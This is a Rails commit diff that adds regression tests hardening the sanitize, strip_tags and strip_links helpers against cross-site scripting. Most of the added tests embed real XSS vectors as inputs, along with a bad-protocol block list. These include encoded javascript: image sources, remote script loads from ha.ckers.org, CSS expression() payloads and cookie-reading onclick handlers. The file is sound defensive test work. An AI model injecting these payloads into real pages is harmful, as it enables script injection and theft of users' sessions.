Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks. Closes #8877. [Rick, lifofifo, Jacques Distler]

git-svn-id: http://svn-commit.rubyonrails.org/rails/trunk@7589 5ecf4fe2-1ee6-0310-87b1-e25e094e27de

1 files changed, 191 insertions, 15 deletions

diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
index 822b88adee..80b9c773b3 100644
--- a/actionpack/test/template/text_helper_test.rb
+++ b/actionpack/test/template/text_helper_test.rb
@@ -5,7 +5,7 @@ class TextHelperTest < Test::Unit::TestCase
   include ActionView::Helpers::TextHelper
   include ActionView::Helpers::TagHelper
   include TestingSandbox
-  
+
   def setup
     # This simulates the fact that instance variables are reset every time
     # a view is rendered.  The cycle helper depends on this behavior.
@@ -47,7 +47,13 @@ class TextHelperTest < Test::Unit::TestCase
   end
   
   def test_strip_links
+    assert_equal "Dont touch me", strip_links("Dont touch me")
     assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+    assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>") 
+    assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic") 
+    assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>") 
+    assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+    assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
   end
 
   def test_highlighter
@@ -255,41 +261,198 @@ class TextHelperTest < Test::Unit::TestCase
   end
 
   def test_sanitize_form
-    raw = "<form action=\"/foo/bar\" method=\"post\"><input></form>"
-    result = sanitize(raw)
-    assert_equal %(&lt;form action="/foo/bar" method="post"><input>&lt;/form>), result
+    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
   end
 
   def test_sanitize_plaintext
     raw = "<plaintext><span>foo</span></plaintext>"
-    result = sanitize(raw)
-    assert_equal "&lt;plaintext><span>foo</span>&lt;/plaintext>", result
+    assert_sanitized raw, "<span>foo</span>"
   end
 
   def test_sanitize_script
-    raw = "<script language=\"Javascript\">blah blah blah</script>"
-    result = sanitize(raw)
-    assert_equal %{&lt;script language="Javascript">blah blah blah&lt;/script>}, result
+    raw = "a b c<script language=\"Javascript\">blah blah blah</script>d e f"
+    assert_sanitized raw, "a b cd e f"
   end
 
   def test_sanitize_js_handlers
     raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
-    result = sanitize(raw)
-    assert_equal %{onthis="do that" <a name="foo" href="#">hello</a>}, result
+    assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
   end
 
   def test_sanitize_javascript_href
     raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
-    result = sanitize(raw)
-    assert_equal %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}, result
+    assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
   end
   
   def test_sanitize_image_src
     raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
-    result = sanitize(raw)
-    assert_equal %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}, result
+    assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
+  end
+
+  ActionView::Base.sanitized_allowed_tags.each do |tag_name|
+    define_method "test_should_allow_#{tag_name}_tag" do
+      assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
+    end
+  end
+
+  def test_should_allow_anchors
+    assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
+  end
+
+  # RFC 3986, sec 4.2
+  def test_allow_colons_in_path_component
+    assert_sanitized("<a href=\"./this:that\">foo</a>")
+  end
+
+  %w(src width height alt).each do |img_attr|
+    define_method "test_should_allow_image_#{img_attr}_attribute" do
+      assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
+    end
+  end
+
+  def test_should_handle_non_html
+    assert_sanitized 'abc'
+  end
+
+  def test_should_handle_blank_text
+    assert_sanitized nil
+    assert_sanitized ''
+  end
+
+  def test_should_allow_custom_tags
+    text = "<u>foo</u>"
+    assert_equal(text, sanitize(text, :tags => %w(u)))
+  end
+
+  def test_should_allow_custom_tags_with_attributes
+    text = %(<fieldset foo="bar">foo</fieldset>)
+    assert_equal(text, sanitize(text, :attributes => ['foo']))
+  end
+
+  [%w(img src), %w(a href)].each do |(tag, attr)|
+    define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
+      assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
+    end
+  end
+
+  def test_should_flag_bad_protocols
+    %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
+      assert contains_bad_protocols?('src', "#{proto}://bad")
+    end
+  end
+
+  def test_should_accept_good_protocols
+    sanitized_allowed_protocols.each do |proto|
+      assert !contains_bad_protocols?('src', "#{proto}://good")
+    end
+  end
+
+  def test_should_reject_hex_codes_in_protocol
+    assert contains_bad_protocols?('src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
+    assert_sanitized %(<a href="&#37;6A&#37;61&#37;76&#37;61&#37;73&#37;63&#37;72&#37;69&#37;70&#37;74&#37;3A&#37;61&#37;6C&#37;65&#37;72&#37;74&#37;28&#37;22&#37;58&#37;53&#37;53&#37;22&#37;29">1</a>), "<a>1</a>"
+  end
+
+  def test_should_block_script_tag
+    assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
+  end
+
+  [%(<IMG SRC="javascript:alert('XSS');">), 
+   %(<IMG SRC=javascript:alert('XSS')>), 
+   %(<IMG SRC=JaVaScRiPt:alert('XSS')>), 
+   %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
+   %(<IMG SRC=javascript:alert(&quot;XSS&quot;)>),
+   %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
+   %(<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>),
+   %(<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>),
+   %(<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>),
+   %(<IMG SRC="jav\tascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x09;ascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x0A;ascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x0D;ascript:alert('XSS');">),
+   %(<IMG SRC=" &#14;  javascript:alert('XSS');">),
+   %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
+    define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
+      assert_sanitized img_hack, "<img>"
+    end
+  end
+  
+  def test_should_sanitize_tag_broken_up_by_null
+    assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
+  end
+  
+  def test_should_sanitize_invalid_script_tag
+    assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
   end
   
+  def test_should_sanitize_script_tag_with_multiple_open_brackets
+    assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "&lt;"
+    assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(&lt;a)
+  end
+  
+  def test_should_sanitize_unclosed_script
+    assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
+  end
+  
+  def test_should_sanitize_half_open_scripts
+    assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
+  end
+  
+  def test_should_not_fall_for_ridiculous_hack
+    img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
+    assert_sanitized img_hack, "<img>"
+  end
+
+  def test_should_sanitize_attributes
+    assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="'&gt;&lt;script&gt;alert()&lt;/script&gt;">blah</span>)
+  end
+
+  def test_should_sanitize_illegal_style_properties
+    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+    assert_equal expected, sanitize_css(raw)
+  end
+
+  def test_should_sanitize_xul_style_attributes
+    raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
+    assert_equal '', sanitize_css(raw)
+  end
+  
+  def test_should_sanitize_invalid_tag_names
+    assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
+  end
+  
+  def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
+    assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
+  end
+  
+  def test_should_sanitize_invalid_tag_names_in_single_tags
+    assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
+  end
+
+  def test_should_sanitize_img_dynsrc_lowsrc
+    assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
+  end
+
+  def test_should_sanitize_div_background_image_unicode_encoded
+    raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
+    assert_equal '', sanitize_css(raw)
+  end
+
+  def test_should_sanitize_div_style_expression
+    raw = %(width: expression(alert('XSS'));)
+    assert_equal '', sanitize_css(raw)
+  end
+  
+  def test_should_sanitize_style_attribute
+    raw = %(<div style="display:block; background:url(http://rubyonrails.com); background-image: url(rubyonrails)">foo</div>)
+    assert_equal %(<div style="display: block; background: ; background-image: ;">foo</div>), sanitize(raw, :attributes => 'style')
+  end
+
+  def test_should_sanitize_img_vbscript
+     assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
+  end
+
+
   def test_cycle_class
     value = Cycle.new("one", 2, "3")
     assert_equal("one", value.to_s)
@@ -374,7 +537,9 @@ class TextHelperTest < Test::Unit::TestCase
   end
 
   def test_strip_tags
+    assert_equal("Dont touch me", strip_tags("Dont touch me"))
     assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+    assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
     assert_equal("This is a test.", strip_tags("This is a test."))
     assert_equal(
     %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
@@ -382,4 +547,15 @@ class TextHelperTest < Test::Unit::TestCase
     assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
     [nil, '', '   '].each { |blank| assert_equal blank, strip_tags(blank) }
   end
+
+  def assert_sanitized(text, expected = nil)
+    assert_equal((expected || text), sanitize(text))
+  end
+
+  # pull in configuration values from ActionView::Base
+  [:sanitized_protocol_separator, :sanitized_protocol_attributes, :sanitized_bad_tags, :sanitized_allowed_tags, :sanitized_allowed_attributes, :sanitized_allowed_protocols, :sanitized_allowed_css_properties, :sanitized_allowed_css_keywords, :sanitized_shorthand_css_properties, :sanitized_uri_attributes].each do |attr|
+    define_method attr do
+      ActionView::Base.send(attr)
+    end
+  end
 end